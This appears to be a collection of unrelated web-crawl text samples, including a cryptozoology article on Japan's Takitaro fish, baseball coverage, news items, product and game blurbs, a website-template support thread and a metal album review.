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High Strangeness
Japan: Takitaro - a monstrous snakehead?
Brent Swancer
Tue, 08 Dec 2009 15:17 UTC
Tue, 08 Dec 2009 15:17 UTC
The Takitaro are said to be enormous fish capable of reaching sizes of up to 3 meters (10 feet) long. Locals have long told of seeing these giant fish in Otori-ike, and the creatures are well integrated into the folklore of the area. Takitaro were once claimed to have the ability to bring in storms, and the sight of one was said to mean that a storm was imminent.
The fish were often said to attack small boats, and were blamed for the occasional disappearance of fishermen. One old story tells of a boat that was pulled under the waves by a Takitaro as horrified villagers looked on. Takitaro were also believed to snatch deer and other animals from the lakeshore. There is one account that describes a Takitaro carcass washed up on shore that when cut open revealed the remains of a deer.
Stories abound of fishermen encountering these monstrous fish right up to the modern day, with accounts of mysteriously mangled nets and fishing poles violently yanked or broken by something very large and strong. One report spoke of something that looked like a "moving log" that was witnessed to bowl right through a fishing net. According to the eyewitness, the fish was almost 2 meters long and had what appeared to be a thick layer of fat.
While locals have been aware of these mysterious fish for a long time, perhaps the sighting that single handedly brought the Takitaro into the limelight and to mainstream consciousness in Japan was made by four mountain climbers in 1982. Tomoya Sawa, Kenzo Matsuda, I. Onodera, and Masakazu Sato, were hiking along Otori-ike's nearby Nao Ridge when they saw something in the lake they could not explain. They noticed several huge fish estimated as being 2 meters (6.5 feet) to 3 meters (10 feet) long languidly swimming through the lake's crystal clear water in a counter-clockwise circular arc. The group observed the fish in fascination for some time before the creatures sunk out of sight. The sighting conditions were perfect, with good weather and glassy, smooth water conditions.
This sighting was a sensation all over Japan, and was plastered over most major newspapers. The tale of giant fish dwelling in this picturesque mountain lake fired up the public imagination. Only adding to this fervor was footage captured by a group of TV reporters investigating Otori-ike in October 1983 in the wake of this sighting. The reporters' footage shows three huge shapes swimming under the surface of the water.
In response to the incredible amount of attention this sighting and the subsequent footage generated, a scientific expedition was mounted to the lake in 1985 in the hopes of obtaining evidence of Takitaro. Scientists conducted a thorough search of the lake using sonar equipment, during which they made some peculiar finds. In the deeper parts of the lake, sonar picked up readings at a depth of 30 to 40 meters (98.5 to 131 feet) of what appeared to be fish much larger than any known to inhabit the area. Although the exact type of fish could not be determined, these sonar images seemed to confirm that something very large and mysterious was indeed lurking in the depths.
Although these Dolly Varden were indeed very large individuals for their species, no fish known to be present in Otori-ike are known to get as large as what is typically described in Takitaro reports. So what is going on in Otori-ike? What could the Takitaro possibly be?
The capture of exceptionally large Dolly Varden specimens in the lake has led to speculation that some species of fish in the lake could be exhibiting a form of gigantism. The reasoning behind this hypothesis is that isolated populations of fish could develop what is essentially insular, or island, gigantism. Otori-ike is not connected to any solid inflowing or out-flowing waterways, with the main run up being the Ara river, which is dammed. In terms of biogeography, a pond or geographically isolated lake like Otori-ike is considered an island in that it matches the general definition of "island" as an isolated ecosystem surrounded by unlike ecosystems. In the case of insular gigantism, some organisms are found to become much larger in island environments, and the same conditions can apply to lakes as well.
With fish, we can see this trend for instance in nine-spined sticklebacks (Pungitius pungitius). Studies have shown that landlocked populations of this species present in small, isolated ponds display significant increases in growth rate, extended longevity, and larger overall size compared to populations found in larger lake or marine habitats. This increase in size is particularly pronounced in the absence of any natural predators.
This presents a problem when considering insular gigantism as an explanation for Takitaro. Otori-ike in fact does have a good amount of competitors and predators inhabiting its waters. The cold mountain lake yields a high oxygen content that is very suitable for predatory, cold water salmonoid fishes such as salmon and trout. Otori-ike is home to natural populations of cherry salmon, and it is also heavily populated by introduced species such as brook trout, which were stocked by the tens of thousands in 1898 during the Taisho era, and rainbow trout that have been intermittently stocked in the lake as well. Considering that insular gigantism is much less likely to be seen in the presence of such predatory and competitive pressures, it seems unlikely that any of these fish species would be particularly inclined towards developing gigantism in this particular habitat. Thus, perhaps it is better to look elsewhere for explanations for the large sizes reported with the mysterious Takitaro.
Another possibility is that we are dealing with some type of fish found in Japan that has somehow exceeded its known range, such as the aforementioned Dolly Varden. While this particular type of trout is not known to achieve anywhere near Takitaro proportions, there is another type of fish in Japan that can get large enough to perhaps account for the reports.
The largest known freshwater fish found in Japan is the Sakhalin taimen (Hucho perryi), also known in Japan as the Japanese huchen, Ito, and stringfish, which are found in Russia and the northernmost Japanese island of Hokkaido. These are some of the longest living and largest salmonoids in the world, living up to 40 years and with the world record size being 210cm (7 feet) long and weighing 110 lbs, 4 oz. Interestingly, the size of taimen have led them to become entrenched in folklore and mystery in other parts of Asia. For instance it is said that giant taimen inhabit China's Lake Kanasi, with some reports putting them at sizes of over 3 tons. A Mongolian legend also tells of a huge taimen trapped in river ice that was gradually eaten by starving herders until the ice melted and it swam away.
The prospect of intentionally introduced species leads us to other possibilities as well. Perhaps we even need to look at other types of exotic fish from places outside of Japan.
One possible culprit is a type of fish known as the snakehead, with two large species in particular, the Northern snakehead (Channa argus) and giant snakehead (Channa micropeltes), being the primary suspects. These fish, which get their name from their reptilian looking head and snakelike patterns on their body, are native to Asia in parts of China, far eastern Russia, and the Korean peninsula. They are long and slender fish, reaching up to 5 feet in length, and possibly more. Snakeheads are popular as a food fish in their native range, and are actively farmed for their meat. In some places, they were intentionally introduced into lakes or rivers as a potential food source, and were in fact introduced to Japan in the early 20th century for this very purpose.
Snakeheads are perhaps best known as a tenacious, persistent invasive species in many parts of the world where they have been introduced. They are known to be adaptable, voracious predators, and able to quickly overrun natural ecosystems. Any snakeheads in Otori-ike would not even necessarily have had to been dumped directly into the lake. These fish possess an unusual adaptation in the form of sacs that function something like lungs. These sacs can either be used to provide oxygen as the fish swims, or even allow it to survive out of water. Indeed, snakeheads are known to actually wiggle and squirm overland to new habitats and can survive out of water for a couple of days as long as they don't dry out. Due to this feature, snakeheads could have found their way up dammed waterways and just "walked" over to Otori-ike.
Snakeheads are present in Japan and their size and odd appearance could perhaps be the source of Takitaro reports. However, it is unclear whether this tropical fish could survive in such cold, high altitude waters no matter how adaptable it is.
Some exotic species of fish that get very large are also widely available in the pet trade in Japan. One very large fish available to aquarists for purchase is the pirarucu of South America. These fish can get enormous, in excess of 2.5 meters (8.2 ft) and over 100 kg (220 lbs). Many people who buy them are not prepared for just how incredibly big these fish can actually get. This could lead to a scenario where we have surprised aquarium owners releasing fish that they are no longer willing or able to take care of.
Perhaps the biggest challenge we face when using introduced exotic species as an explanation for Takitaro sightings is the relative remoteness of Otori-ike and the difficulty of accessing it. The nearest road is 8 km (5 miles) away through rough, mountainous terrain. To reach the lake requires at least a 3 hour, demanding hike, and once there, even more work to get down the steep surroundings to the shore. This seems like it would be an awful lot of trouble for someone to go through just to release a few fish into the lake. With brook trout and rainbow trout, there was a funded, organized program focused on putting a large amount of fish there. However one wonders if a only one or a few people with no such logistic support would go through the trouble and resources of trekking out into the mountains with live fish in order to secretly dump them in Otori-ike.
As with the snakeheads, it is also unlikely that tropical fish such as pirarucu would be able to survive for any appreciable length of time is this cold mountain environment. Many of the larger aquarium species are simply not compatible with this sort of freezing, high altitude habitat, and would likely die in short order.
1) Sakhalin taimen,
2) snakehead (this one is a Northern snakehead),
3) alligator gar,
4) pirarucu, and
5) sturgeon (shown below).
Pumped up super fish, out of place species, exotics, ancient giant fish, or just plain unknown; whatever they are, Takitaro have achieved a somewhat legendary status in Japan. Indeed even to this day, many a fisherman has thrown their line into the clear waters of Otori-ike wary of any large shadows lurking under the surface and anticipating the possibility that they may receive a mighty tug from this colossus of the depths.
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White Sox finish off sweep of Red Sox
Game over: White Sox 3, Red Sox 1
Middle of the 9th: White Sox 3, Red Sox 1
Okajima allowed a two-out single but Patterson caught Pierre's liner to end it. Meanwhile, with their team about to get swept in a doubleheader to fall 10 games out first, the crowd started doing the wave.
Top of the 9th: White Sox 3, Red Sox 1
Well that was exciting. Well, not really. Beltre singled with one out. Mike Lowell pinch hit and popped to first. Saltalamacchia walked and Eric Patterson ran for him. Darnell McDonald pinch hit against Bobby Jenks and flied to center.
Now Lowell is at first. VMart is catching. Patterson is in left and McDonald is in center, Okahima is pitching.
Middle of the 8th: White Sox 3, Red Sox 1
Manny singled with two outs and was replaced by a pinch runner. Bard otherwise got three fly balls to center. Then the crowd blissfully sang Sweet Caroline .
Back in the day, if somebody tried to sing some cheesy song while the Sox were in the process of getting swept in a doubleheader they would have needed six security guys to break up the fight.
Top of the 8th: White Sox 3, Red Sox 1
The Sox went to the bullpen and Scott Linebrink and Chris Sale held the Sox down.
Two runs on 12 hits over 16 innings. Pretty grim. Bard in for Lackey, who deserved better than the loss he seems to have coming. He allowed one earned run on four hits over seven innings and struck out seven with two walks.
Middle of the 7th: White Sox 3, Red Sox 1
Lackey limited the damage. But a two-run deficit looks huge for the Sox, who have scored two runs in 15 innings today.
Top of the 7th: White Sox 3, Red Sox 1
It's unraveling for the Sox. Teahen started the inning with a single. Quentin followed with a double off the wall in center. Teahen was held at third then scored when Kalish overthrew the cutoff man and everybody else, the ball rolling all the way to the Red Sox on-deck area.
Quentin went to third on the error and scored on a sac fly by Castro.
Top of the 7th: White Sox 1, Red Sox 1
Nava walked with one out. But Saltalamacchia flied to right and Kalish lined to short.
Middle of the 6th: White Sox 1, Red Sox 1
Lackey retired the side in order, striking our Manny to end the inning as the crowd cheered. Manny is 2 for 7 on the day. Lackey has retired seven straight and looks terrific.
Top of the 6th: White Sox 1, Red Sox 1
Kalish and took third on a hit-and-run single by Hall (4 for 6 on the day). Scutaro's hit-and-run single scored Kalish and sent Hall to third.
But J.D. Drew (0 for 6 on the day, now hitting .254) struck out, VMart popped to center and Ortiz grounded to first.
Middle of the 5th: White Sox 1, Red Sox 0
1-2-3 inning for Lckey, who has pitched very well so far. His line: 5 IP, 2H, 1R, 0 ER, 1BB, 6K.
Top of the 5th: White Sox 1, Red Sox 0
Ortiz had a leadoff single. Beltre followed with a pop to second that was dropped. Ortiz was then thrown out at second. Nava flied to left and Salty grounded to first. 13 innings and one run for the Sox today.
Middle of the 4th: White Sox 1, Red Sox 0
Lackey had two on and two out when he hit Carlos Quentin with a cut fastball. In what appeared to be a clear overreaction, umpire James Hoye issued warnings to both teams. Lakey then striuck out Castro to end the inning.
Top of the 4th: White Sox 1, Red Sox 0
It's Pete again. Thanks to Nick for picking up the updates while I made deadline.
The Sox missed a chance in the bottom of the third. Hall doubled to center with one out. But Scutaro struck out, Drew walked and Martinez grounded to second.
Top of the 3rd: White Sox 1, Red Sox 0
The Pale Hose score first. Carlos Quentin tripled to the triangle on a ball that kept rolling right under the 420 sign before Ryan Kalish could run it down. With one out Gordon Beckham hit a grounder to VMart at first, who threw to the plate. He made a good throw but Saltalamacchia couldn't hold on as Quentin came in with an elbow to dislodge the ball.
Top of the 2nd: White Sox 0, Red Sox 0
Lots of boos for Manny, but he's still a rock star. Cameras flashing everywhere around the ballaprk during his first AB. The crowd cheered as he struck out. Two K's for Lackey that inning. He's been sharp so far.
Bottom of the 1st: White Sox 0, Red Sox 0
Hey, Nick Cafardo jumping in while Pete finishes up some work. VMart stroked a two-out single, but Davis Ortiz grounded into the shift. Interested to see Jarrod Saltalamacchia behind the dish. May be seeing a lot of him next season.
Top of the 1st: White Sox 0, Red Sox 0
Beautiful night at Fenway, a pleasant 74 degrees at first pitch for John Lackey. Hope you're enjoying the holiday weekend and a little bit of baseball. Please feel free to add your comments.

subset: commoncrawl


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Weeki Wachee (Fla.) offensive tackle Marcus Applefield has come from seemingly out of nowhere and has exploded on the recruiting scene as one of the hottest prospects in the Sunshine State.
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Timbaland - Round Da Way Tim
Remember when Timbaland said he was done with rap? Guess it wasn't done with him. Last week, the heavyweight producer made his triumphant return with the inaugural entry in his Timbaland Thursdays series, the Missy Elliot-assisted Take Ur Clothes Off. Now, on follow-up Round the Way Tim, he picks up the mic to spit a few bars of his very own. Over an eccentrically fresh, beatbox-infused instrumental, he introduces listeners to the man he considers "the coolest n*gga in the galaxy." The name of this dashing individual? You guessed it: Timbo. As expected, the verses come packed with everything you've ever wanted to know about the veteran producer, from his car of choice (he prefers Porsches), to what he's got in his wallet (two AmEx Black cards and a new Visa White), to how he likes his women (uh… bowlegged). Self-indulgent? Yeah, kinda. Dope? That, my friends, is for you to decide. If you like what you're hearing, be sure to check back next week, same bat time, same bat channel, for the next Timbaland Thursdays entry.


text: I've Just managed to secure myself some BBS CH rims with some frantic searching and some much appreciated advice from N8, and I was wondering if my OEM S3 2007 8P (pre-face lift) wheel bolts will fit the new wheels, or if I need some new ones? If new are needed, can anyone recommend the best place to buy them from? Really want to make sure they are on the car asap! Thanks!


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Sherlock Holmes' First Original Case Coming to DS
March 1, 2010
Sherlock Holmes' First Original Case – Coming to DS
The world's greatest detective, Sherlock Holmes, stars in his first original game on Nintendo DS: Sherlock Holmes and the Mystery of Osborne House. Below you can download the very first screenshots of this game of puzzles and investigation being developed by Frogwares and published by Focus Home Interactive.
In this brand new grand adventure, custom-designed for Nintendo's handheld system, you play as the famous detective Sherlock Holmes and you will have to shed light on curious events. When Queen Victoria's genealogical records are stolen, the Royal Family decides to put you in charge of the case and asks you to solve this strange mystery.
As always, followed by your wise and faithful friend, Doctor Watson, you will have to use your senses of logic and observation through dozens of riddles, puzzles and brain teasers of all sorts. You will travel through dozens of beautifully hand-drawn environments, looking for clues and new mysteries. You will also meet many charismatic characters who will help you solve this strange case and finally discover the truth!


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Sasso Serving Tray Medium
by Nao Tamura
Drawing the eye with its pebble-like shape, the Sasso serving tray is durable as well as beautiful, the right balance between shapes and sizes, suiting the choreography of every table. With a definite nod to the "if a job's worth doing" school of thought, the smooth rounded shapes from New York designer Nao Tamura are crafted from high-quality wood. Utterly charming in their basic linearity, looks aren't this kitchen accessory's only forte – Sasso can also be used for serving fruit, bread, or cheeses.
Designed by Nao Tamura
Nao Tamura is a designer whose diverse talents draw on various cultures, languages, disciplines and styles. A product of both the New York and Tokyo creative communities, her fearless work often defies industry categorisation. Whether it's lighting that looks like fishing floats or installations inspired by forces of nature, Tamura isn't content unless she's making you think.


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The San Bruno pipeline explosion has lead to a state-ordered top to bottom review for PG&E.
Thursday California regulators officially set up an independent panel to probe what lead up to blast that killed seven people and leveled dozens of homes.
The panel will work independently from the National Transportation Safety Board. The NTSB is the lead federal agency investigating the cause of the Sept. 9 explosion.
The California Public Utilities Commission in San Francisco said the panel will also review management practices at Pacific Gas & Electric Co., the utility responsible for the gas line.
One of the victims of the blast worked for the PUC. Jacqueline Greig, 44, died along with her daughter Janessa.
They want to see what, if anything, could have been done to prevent the disaster.
The PUC are also pressing PG&E to cover the cost of the panel's work with shareholder funds, not with the money coming in from ratepayers' monthly bills.
A senior vice president with PG&E told the San Francisco Chronicle that PG&E has "no issue" with the order. Tom Bottorff told the newspaper the company would comply with the order and that the money would come from shareholder profits -- not a rate hike.
Also Thursday, clean-up crews started demolition and debris clean up which will last for several weeks. The work is expected to kick up hazardous dust from items left behind, like paint, pesticides and other toxic materials.
Some residents who have returned say they will stay inside or wear a dust mask if necessary. Many residents say they are anxious for clean up to get started so neighbors can rebuild and return home. Many say they won't feel at ease until everyone who survived is home.


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The sacrifices made by our servicemen and women both past and present are undeniable. As a nation and as a people, we must never forget all that they have given, every day protecting the privileges, comforts and freedoms that we, as Americans, enjoy.
Since the first days of our great nation, our military personnel have proved resolute in their commitment to both freedom and democracy. This powerful legacy lives on today through the efforts of those who bravely serve with our armed forces.
This knowledge runs in my family. My husband, Dexter, fought proudly and was wounded while serving in Vietnam. My stepson, Douglas, and his wife Lindsay, have both served tours in Iraq, Lindsay having also served in Afghanistan, and they are now serving at the U.S. Naval Academy. From their experiences, and those of all veterans, I understand the degree to which we all must be thankful for these brave souls. The sacrifice of our nation's fighting men and women will never be lost on me, nor will our essential commitment to them be forgotten.
I have always worked hard to legislate on behalf of our veterans since my first session in Congress. I am delighted to continue to help ensure all veterans receive the benefits that they so rightfully deserve.
We can all agree that the brave men and women of our armed forces, both active duty and our veterans, deserve all that we can offer them. The fundamental goal they have endeavored for, to protect our country and its citizens, must be more than simply recognized; it must be met with equal commitment from those they have served with such remarkable distinction.
Setting a Higher Standard
I was a co-sponsor of the Post-9/11 Veterans Educational Assistance Act. This landmark legislation increases educational benefits available to all members of the military who have served on active duty since September 11, 2001. It gives them an opportunity to receive an in-state, undergraduate education at a public institution at no cost. This includes payments for all fees, housing, books and supplies as well as a stipend. This also offered an increase of the money available to the veteran, increase the time in which they are eligible to use the assistance, and allow for voluntary matching dollar amounts from universities or even the transfer of benefits to a family member.
Providing for Those Serving Beyond the Call of Duty
I voted for legislation to give retroactive payments for stop loss. Soldiers who were individually stop-lossed and on active duty between Sept. 11, 2001, and Sept. 30, 2008, now can claim a retroactive special pay for each month they served past their end-of-service date. This includes Reserve and National Guard Soldiers on active duty during this period.
Raise Military Pay
It is our obligation to compensate our active duty military service members for their honorable and loyal service. Included in this is the responsibility to ensure that their purchasing power does not diminish as time goes on. As a result, I cosponsored the Military Pay Raise Act which increases monthly basic pay for members of the uniformed services by 3.4 percent.
Surviving Spouses' Benefit Improvement Act
The sacrifice of veterans not only benefits our nation at that moment in time, but leaves a lasting effect for future generations. Their service and dedication deserves that their compensation carry on to their spouses and dependents. The Surviving Spouses' Benefit Improvement Act allows spouses and dependents to collect Dependency and Indemnity Compensation in the event of a seriously wounded or disabled veteran.
Help Student Soldiers Act
It is extremely important that all Americans are afforded the opportunity to pursue a quality education. As a former educator, I place a significant emphasis on continued education for our veterans. To compensate reservists that are called back to active duty during a semester, I cosponsored this bill that forgives federally-backed student loans if they are unable receive academic credit.
A Bill To Increase Benefits To Injured Veterans
The sacrifice that veterans make to protect our country is selfless and inspiring. It is our duty to make sure that injured veterans receive all the benefits that they rightfully deserve. Therefore, I have cosponsored this bill that expands disability severance pay to cover all veterans who have a combat related disability.
Chiropractic Care Available To All Veterans Act
Comprehensive health care for our veterans, both in the field and at home, is of the utmost importance. It is for that reason that I cosponsored the Chiropractic Care Available To All Veterans Act. It requires the Veterans Affairs to provide chiropractic care for veterans at all VA medical facilities.
A Bill To Help Homeless Veterans
It is a great shame that so many veterans who served this country proudly end up on the streets. It is the responsibility of the American people to ensure that all our veterans are taken care of. Ensuring that accommodations are made for homeless veterans is a significant priority for me and therefore, I have cosponsored the Help Homeless Veterans Act that allows taxpayers the option to designate a portion of their income tax payment to provide assistance to homeless veterans.
Home Front to Heroes Postal Benefits Act
This bill directs the Secretary of Defense to provide for a program under which postal benefit vouchers are provided for members of the Armed Forces who are serving in overseas operations or who are hospitalized.
Retired Pay Restoration & Disables Veterans Tax Termination
Currently, a disabled career military veteran is required to give up part of his or her retired pay equal to the amount of his or her VA disability compensation. Military retirees are the only group of federal retirees who must waive retirement pay in order to receive VA disability compensation. To right this injustice, I co-sponsored the Retired Pay Restoration Act and the Disabled Veterans Tax Termination Act. This permits retired members of the Armed Forces who have a service-connected disability to receive both disability compensation from the VA and their retired pay or Combat-Related Special Compensation.
Tricare Continuity to National Guard and Reserve
I co-sponsored the TRICARE Continuity of Coverage for National Guard and Reserve Families Act. This allows for retired members with 20 years or more of service to purchase healthcare that was available to them during their time of active service or after they turn 60.
Retirees Healthcare Protection Act
As a co-sponsor of this bill, I am working to ensure that we protect military retirees from bearing the burden of cost-cutting efforts by the current administration. The Department of Defense and our nation have a obligation to retired military personnel that exceeds the obligation of corporate employers to civilian employees. The DOD has many additional options to constrain the growth of health care spending in ways that do not disadvantage beneficiaries, and should pursue such options rather than seeking large fee increases for beneficiaries. This bill will prohibit an increase in a premium, deductible, copayment, or other charge for medical and dental health care coverage for military personnel.
Source: http://ros-lehtinen.house.gov/issues/issue_details.aspx?IID=17


text:
SF Giants' Buster Posey could become All-Star
Published 4:00 am, Tuesday, May 31, 2011
(06-01) 04:00 PDT St. Louis -- Buster Posey cannot play, but he might be a 2011 All-Star nonetheless.
The Giants' catcher leads the National League in voting for the position, according to the first tally released Tuesday. He had 785,314 votes, followed by Atlanta's Brian McCann (633,987) and St. Louis' Yadier Molina (595,576).
"That's pretty cool," manager Bruce Bochy said. "I'm not surprised. There are a lot of Buster Posey fans out there, not just in the Bay Area but also in the baseball world."
Injured players sometimes win anyway, though his injury occurred early enough in the balloting for fans to turn to other candidates. By the same token, Giants fans can continue to vote for Posey, who would be the first Giants position player elected since Barry Bonds in 2007.
Pablo Sandoval, who has missed a month after fracturing a wrist bone, ranked third among third baseman with 522,037 votes, behind Philadelphia's Placido Polanco (724,724) and Atlanta's Chipper Jones (540,168). Freddy Sanchez (347,713) was fifth among second baseman. Cincinnati's Brandon Phillips (837,778) leads that race.
Though Posey has no chance to play in the July 12 game in Phoenix, Sandoval certainly does, whether he wins the voting or not.
Two years ago, when Sandoval was among the league's best third basemen, NL manager Charlie Manuel bypassed him and selected his own right fielder, Jayson Werth, prompting an outcry in the Bay Area.
This year, Bochy gets to pick nine reserves. If Sandoval has any decent numbers upon his return, Bochy surely will have his third baseman in mind.
"If I could, I want to go," Sandoval said. "It's a special day to be in the All-Star Game. Not everyone can do that. It's tough to get there."
Sandoval took batting practice on the field Tuesday for the first time since he was hurt. He batted right-handed only, hit some home runs and declared his timing was "pretty good" for the first day.
Sandoval will hit left-handed in batting practice today, a bigger test because the knob of the bat jolts the area of his surgery with every swing. He did take about 25 cuts left-handed Tuesday during "soft toss," in which a coach kneels near the hitter and flips the ball into his hitting zone.
"He looked like he was letting it go," Bochy said. "I didn't see any hesitation."
Sandoval said he can swing without pain in the surgery area, though he feels some soreness in the tendon from inactivity. He said he is not concerned.
The support for Posey, Sandoval and Sanchez is impressive considering the Giants have played only 21 home games. It also shows how significant online voting has become.
Nine-time All-Star Albert Pujols had 988,784 votes at first base to lead all National Leaguers, followed by Colorado shortstop Troy Tulowitzki (975,777) and Milwaukee outfielder Ryan Braun (971,809). Two St. Louis outfielders, Matt Holliday (927,778) and Lance Berkman (872,434) were second and third.
E-mail Henry Schulman at firstname.lastname@example.com.


text:
Panaji, April 29 (IANS) Anti-Narcotics sleuths in Goa arrested two students for possessing narcotic substances at a state-run engineering college, police said on Friday.
The two students have been identified as Arun Rathod, a first year student, and Vishal Gawas, a final year student, at the Goa Engineering College located at Farmagudi, around 25 km from here.
"We acted on a tip off that the two boys were consuming narcotics substances in the boys hostel located in the premises of the educational institution on Friday. We immediately raided the place," a police spokesperson said.
The accused have been booked under the Narcotics Drugs and Psychotropic Substances Act.


text:
This information is stored in the heroes.db3 file.
Recently Nex/Dev have done a significant overhaul of the Enhancement System, and I'm trying to establish what these new tables are / if the old information is still accurate to begin with.
So, I was wondering if anyone knows if the 'Enhancement Tables' are stored in the actual game files (and if you happen to know where they are / used to be). Failing that, does anyone know how all the rates were determined the initial time?
Any information on this subject is appreciated (even speculation about how this information could be attained), thank you for reading.
This information is stored in the heroes.db3 file.


text:
Tue 12th Jun 2012 8:00ammalpaisurfcam's Playa Santa Teresa Surf Report
Still taken from the morning session video, watch it @ www.malpaisurfcam.com This morning at 8 am waves were waist to chest high with some head high sets. Light on shore wind and clear skies. Ok waves as there was some onshore wind at the high tide. www.malpaisurfcam.com daily surf report from Mal Pais neighborhood in Costa Rica, Central America.
View the Playa Santa Teresa Surf Report and Forecast. malpaisurfcam's Reports have received a total of 423572 views.
This report has received 288 views since 12/6/12.


text:
103 comments found.
is it possible to have the sidebar on the left side as well as the right, or even instead of the right?
Also, is there a full page text option?
You can do this with zero efforts if you are familiar with CSS . Dont forgetm that this is HTML template and it is for pro use only
Hello! I am trying to change the color of the H1 in CSS , but I can't get it to change. Also, there appears to be an opacity applied to the fonts? How may I edit these? I am using the ancient style. Thanks!
Ah ha! I found cufon-colors-ancient.js Still trying to find what controls transparency in right column.
Transparency is controlled by css statements: "background-color:rgba(255,255,255,0.2);" – 0.2 is transparency.
And it is described in css customize files, like "css/customize-origami.css""
found answer on previous page, thanks…
Any chance of getting image caption/text to be visible below image inside the slider near the bottom of the home page? I think the related classes are .list-carousel or .carofredsel. More like in gallery but still able to slide.
I'm afraid i didn't get your question. Images in bottom slider have captions: http://cardamon.dream-theme.com/html/demo/index.html
I would like the caption or text visible below the images in the slider on page-load – without hovering.
ah, I'm afraid this is beyond the scope of template support. sorry
You can consider hiring a freelancer to help you with this customization
I don't know if you have made an update since the 1st of february (when I bought cardamon) but I found a bug in 'portfolio(full-3col-notext).html'. In the slider you should replace all the

 15

 11
that is the code in the 'textwidget-photo' if you want it to work correctly when changing from
Apart from that, great work, thanks.Mike.
Thanks for feedback. We will investigate this.
Hi Dream-Theme
In the page "portfolio(3col-notext).html" can you show me an example of how you can make each image point to a unique folder showing different images on click. Presently I am pointing the first image on the page to a folder containing 25 images but after the first popup image is displayed it defaults to the demo images supplied. How do you make each image point to different folders?
If I understand you correctly, you need to refer to HighSlideJS documentation – there you will find information about creating multiple sideshows on single page.
do you have a n update or an minify version to make the page with teh j-query back groung move ment load faster? http://184.108.40.206/~direct2u/index-1.html loading seems slow
This template designed for pro use. So we can not minify any code: people need to customise it.
There are tons of "minifying" services on the web. So it's not an issue.
Hello. I have tried for hours adjusting the script but cannot get the Nivo slider to start automatically. I have seen other posts on this forum about the topic, and your reply is that it should have that feature. Can you please be more specific and explain exactly how to make the Nivo slider start automatically? Most sliders are not meant to stay static on the first slide.
If you don't mind I will quote myself (probably you have not noticed this):
Autoslide is "hard disabled" in "js/jquery.nivo.ext.js" To enable it, on line 26 change stop: true to stop: false
BTW , in "js/scripts.js" on line 80 you can adjust autoslide interval (in ms): pauseTime: 7000,
Got it, thank you.
Can you tell me how to delete the search bar at the top and its auto-show and auto hide function. I cant find the appropriate code in the javascripts or the css. Thanks in advance, and what great template you have made .
well, why don't you just delete the ".search-f" div from the html?
I was curious to know the fonts you used before I buy as I really like them and would like to install them before buying.
Hi, sure:
10.2. Fonts Arial (standart) Lobster: http://www.fontsquirrel.com/fonts/Lobster Proclamate: http://www.fontsquirrel.com/fonts/Proclamate Charis Sil: http://www.fontsquirrel.com/fonts/Charis-SIL Pacifico: http://www.fontsquirrel.com/fonts/pacifico
hi…super Theme… how can i get the the complete widget/aside section from the right side to left side?
Thanks a lot!
Hi, you can change places of content and sidebar in HTML . Also you can chage CSS : float: left – for sidebar and float: right for content (this also may require paddings/margin adjustment, but this solution is more preferable in terms of SEO as content always goes before widgets)
Can this template be edited in Dreamweaver or is it depended on WordPress?
Hi, this template is kinda complicated for DW visual editor
...I want a WordPress version of this template…!!! Booouhhhouuu!
working. we hope to release it in the end of this month
love the theme,
1 question though, is it posible to make the parallax images show one by one with a delay and possibly slide in to the frame?
eg: i would like the 2 back images to load on page load and then 2 seconds later have the next image slide in from the top of the page followed by the 4th image 3 seconds after that.
Hi, thanks for feedback!
Thinking about purchasing this today..only thing I'm wondering about before I do is the parallax background of the Origami theme.
Was the theme setup with 2 or 3 background images in layers? What I would want to do is create a different parallax background using different images, and obviously I would need to create a new "shadow" image for the shadow layer sitting under the origami top layer.
Is that how it was done? Multiple images? It seems in that case that it would be easy to customize. What do you think? I am good with HTML /CSS, but I dont think I'll even need it. Just need new images made.
I see that the theme uses level0, level1, etc to create the parallax effect. Easy! I may purchase, thank you.
I'd like to keep the colors of the Classic theme but use the Origami parallax background..
Would the best solution for me be buying this theme, using the Origami theme, and editing the colors?
or would it be easy to start with the Classic theme and implement the parallax background instead?
The reason I ask is because the Origami theme is really dark. I would prefer a light or White background and then change the font and headers. If I use the Classic theme, I don't have to change the font or colors, only the background
You can start with Origami. It's a piece of cake if you are somewhat familiar with CSS and Photoshop
I have a WP blog integrated into the HTML version of Cardamon with "Ancient" theme – using a customized header, navigation and footer. I could use the WP version as soon as possible so the blog post/comment styling matches what was proposed in the Cardamon html theme. I purchased Black Sakura today, hoping I chop it up and make it work, but the coding related to the style switcher makes things much too confusing for me When will Cardamon be available in WP? Thank you!
Yes. we are working really hard 6+ days a week to release it in the end of April. I think in 10 days (if you want) you can submit a request via our help desk http://support.dream-theme.com/ to participate in b-testing. By that time blog will work perfectly.
Hello, Autoslide is "hard disabled" in "js/jquery.nivo.ext.js" To enable it, on line 26 change stop: true to stop: false BTW , in "js/scripts.js" on line 80 you can adjust autoslide interval (in ms): pauseTime: 7000,
Yes, but unfortunately this makes the widget_slider also slide automatically. How can we make the main slider automatic without starting the widget slider?
Thank you for your help.


text:
© 2002-2017
Encyclopaedia Metallum
Best viewed
without Internet Explorer,
in 1280 x 960 resolution
or higher.
Edge of Sanity may be the only band who can write a 1 song album lasting 40 minutes that I can listen all the way through and want to listen again. Yes this album is that good. I think it's safe to say that Dan Swano had the biggest hand in creating this album and you can tell by how progressive it is.
Ok so first off the lyrics of Crimson are excellent. Swano's vocals are deep and guttural but like Karl Willets from Bolt Thrower, you can still understand what he is saying. So the vocal performance is very fitting to the story. And its a great story at that! A king and queen rule over a population who are unable to reproduce thus bringing the extinction of humans in the near future. The rest of the song recount's the king and queen's child being born, their daughter becoming evil by an unholy god and her rule over what is left of humanity. No worries though, eventually a group of people take her prisoner and humanity is given the gift of life once more.
I have never heard a song that mirrors the emotion of the story being told so well. It is expertly done on Crimson. When the Queen dies (during child birth) and later the King as well, the music echoes this becoming sorrowful and sad. When the populace finds out they have been deceived into sacrificing themselves for the queen it becomes furious and chaotic. The music matches the actions of the story in a truly impressive way.
Swano gives a terrific performance as well. His death growls are as evil sounding as ever but his cleans happen to shine just as bright. Mike Akerfeldt from Opeth contributes both clean and harsh vocals as well. In fact he let's a absolutely morbid scream and holds it for quite a while and it sounds pretty badass.
There are some very memorable riffs in Crimson. We have some really nice acoustic interludes which usually are a sign of one movement making a transition to another. Now there are a few riffs that are repeating. One is a doom riff that is kind of down trod and dark sounding setting the mood. Another is a harmonized twin lead that is just epic! It repeats 2 or 3 times throughout the song and sounds kind of upbeat. Every time I hear this part I bang my head it's just addictive.
But the guitar riffs as a whole are quite catchy. It doesn't matter if they are more in the death metal vein or not, they are all quite memorable. The drumming is pretty straight forward and I enjoy the blast beats here and there. The bass is for the most part buried behind everything else and doesn't exactly play a very prominent role which is unfortunate.
